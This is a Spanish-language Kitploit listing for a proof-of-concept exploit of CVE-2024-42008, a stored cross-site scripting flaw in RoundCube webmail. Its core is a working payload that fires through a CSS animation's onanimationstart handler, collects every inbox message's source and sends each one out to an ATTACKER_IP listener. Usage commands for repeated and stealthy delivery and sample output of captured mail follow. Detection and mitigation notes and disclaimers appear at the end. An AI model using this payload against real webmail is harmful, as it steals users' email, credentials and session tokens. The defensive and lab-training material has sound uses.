¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!
Roundcube-CVE-2024-42008-POC — Exploit de prueba de concepto para CVE-2024-42008, una vulnerabilidad de Cross-Site Scripting en el webmail RoundCube. Entrega cargas útiles XSS a través de formularios de contacto para robar correos electrónicos, credenciales y tokens de sesión en entornos de pruebas de penetración autorizados. | Kitploit
Exploit de prueba de concepto para CVE-2024-42008, una vulnerabilidad de Cross-Site Scripting en el webmail RoundCube. Entrega cargas útiles XSS a través de formularios de contacto para robar correos electrónicos, credenciales y tokens de sesión en entornos de pruebas de penetración autorizados.
Compartir
CVE-2024-42008 RoundCube XSS Exploit
Resumen
Este repositorio contiene una prueba de concepto del exploit para CVE-2024-42008, una vulnerabilidad de Cross-Site Scripting (XSS) en la aplicación webmail RoundCube. Este exploit está diseñado con fines educativos y para entornos de pruebas de penetración controlados como HackTheBox.
Detalles de la Vulnerabilidad
Resumen de CVE-2024-42008
ID CVE: CVE-2024-42008
Tipo: Cross-Site Scripting (XSS)
Puntuación CVSS: Alta
Versiones Afectadas:
RoundCube ≤ 1.5.7
RoundCube 1.6.x ≤ 1.6.7
Versiones Corregidas: 1.5.8, 1.6.8+
Detalles Técnicos
La vulnerabilidad existe en rcmail_action_mail_get->run() y permite a atacantes remotos ejecutar JavaScript arbitrario en los navegadores de las víctimas. El fallo proviene de una validación de entrada insuficiente al procesar contenido de correo electrónico, particularmente en el manejo de animaciones CSS y contextos de ejecución de JavaScript.
Vector de Ataque Clave:
Contenido HTML malicioso inyectado a través de formularios de contacto o mensajes de correo
Propiedades de animación CSS utilizadas para desencadenar la ejecución de JavaScript
Los controladores de eventos onanimationstart eluden los filtros de contenido
El payload JavaScript se ejecuta en el contexto de la aplicación webmail
Impacto
Una explotación exitosa permite a los atacantes:
Robar los correos electrónicos de la víctima de la Bandeja de entrada y otras carpetas
Exfiltrar metadatos del correo (UIDs, listas de mensajes)
Acceder al código fuente del correo y archivos adjuntos
Enviar correos electrónicos desde la cuenta de la víctima
Recolectar credenciales de inicio de sesión y tokens de sesión
Realizar acciones en nombre de la víctima
Análisis del Script del Exploit
Arquitectura del Script
El exploit consta de tres componentes principales:
Entrega del Payload XSS: Envía HTML malicioso a través del formulario de contacto
Servidor HTTP: Escucha los datos exfiltrados
Procesamiento de Datos: Captura y registra los correos robados
Desglose del Payload
root@kitploit:~
// El payload XSS central utiliza animaciones CSS para activar JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Obtener la lista de correos de la Bandeja de entrada de la víctima
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extraer los UIDs de correo usando expresiones regulares
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. Para cada correo, obtener el código fuente completo
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrar los datos del correo al servidor del atacante
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
Características Clave
Operación Continua: Puede enviar payloads a intervalos regulares
Modo Sigiloso: Huella mínima y manejo de errores
Registro de Datos: Captura y almacenamiento automático de correos exfiltrados
Modo Depuración: Soporte de proxy para análisis de tráfico
Configurable: Múltiples opciones de línea de comandos
Uso
Requisitos Previos
root@kitploit:~
pip install requests
Uso Básico
root@kitploit:~
# Entrega de un único payload
python cve-2024-42008-exploit.py
# Modo continuo (cada 30 segundos)
python cve-2024-42008-exploit.py -c
# Intervalo personalizado (cada 60 segundos)
python cve-2024-42008-exploit.py -c -i 60
# Modo depuración con proxy
python cve-2024-42008-exploit.py -d
Configuración
Edite el script para configurar:
ATTACKER_IP: Dirección IP de su servidor de escucha
ATTACKER_PORT: Puerto para recibir datos exfiltrados
RECIPIENT_EMAIL: Dirección de correo objetivo
TARGET_URL: Instancia vulnerable de RoundCube
PROXY: Servidor proxy para depuración (Burp Suite/Caido)
Opciones de Línea de Comandos
Opción
Descripción
-d, --debug
Activar modo depuración con soporte de proxy
-c, --continuous
Enviar payloads continuamente
-i, --interval
Intervalo entre payloads (por defecto: 30s)
Flujo del Ataque
Inyección del Payload: El script envía HTML malicioso a través del formulario de contacto
Entrega del Correo: RoundCube vulnerable procesa y entrega el correo
Interacción de la Víctima: El usuario abre/visualiza el correo malicioso
Ejecución XSS: La animación CSS activa el payload JavaScript
Exfiltración de Datos: JavaScript roba correos y los envía al atacante
Captura de Datos: El servidor del exploit recibe y registra los datos robados
Detección y Mitigación
Para Defensores
Indicadores de Detección:
Propiedades de animación CSS inusuales en el contenido del correo
Controladores de eventos onanimationstart en HTML
JavaScript sospechoso en mensajes de correo
Solicitudes salientes a dominios desconocidos desde el webmail
Envíos repetidos de formularios de contacto
Estrategias de Mitigación:
Actualizar RoundCube a la versión 1.5.8 o 1.6.8+
Implementar Política de Seguridad de Contenido (CSP)
Habilitar filtrado de contenido de correo
Monitorear tráfico saliente sospechoso
Auditorías de seguridad periódicas de las configuraciones del webmail
Para Probadores de Penetración
Consideraciones de Prueba:
Asegurarse de tener la autorización adecuada antes de realizar pruebas
Documentar todas las actividades para el informe
Probar únicamente en entornos aislados
Verificar que el objetivo sea intencionalmente vulnerable
Seguir prácticas de divulgación responsable
Consideraciones Legales y Éticas
⚠️ ADVERTENCIA: Este exploit se proporciona únicamente con fines educativos y de pruebas autorizadas.
Usar solo en sistemas que posea o para los que tenga permiso explícito de pruebas
Diseñado para HackTheBox y plataformas de aprendizaje similares
El uso no autorizado puede violar leyes locales e internacionales
Seguir siempre las prácticas de divulgación responsable
Respetar las regulaciones de privacidad y protección de datos
[+] Escuchando en 10.10.14.209:8001 para datos exfiltrados...
[2024-07-09 10:30:15] ¡Solicitud POST enviada! Código de estado: 200
[+] 📩 Datos de correo capturados:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Contenido del correo]
--------------------------------------------------
[+] 🔥 Datos de correo guardados en emails.log
Aviso Legal
Este código se proporciona con fines educativos y para pruebas de penetración autorizadas únicamente. Los autores no se hacen responsables por cualquier uso indebido o daño causado por este software. Asegúrese siempre de tener la autorización adecuada antes de probar cualquier sistema.